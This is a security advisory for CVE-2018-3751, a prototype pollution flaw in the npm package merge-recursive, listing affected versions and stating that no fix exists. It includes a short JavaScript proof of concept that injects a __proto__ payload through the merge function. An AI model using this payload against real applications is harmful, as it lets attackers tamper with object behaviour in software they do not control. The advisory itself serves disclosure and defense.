Advisory

GHSA-cvxm-f295-x957

Also known as: CVE-2018-3751

Summary

Prototype Pollution in merge-recursive

Details

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2018-09-18 13:46 UTC
Modified
2023-11-08 04:00 UTC

Affected packages and fixes

merge-recursive

npm · All systems

Affected

  • introduced 0, last affected 0.0.3 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences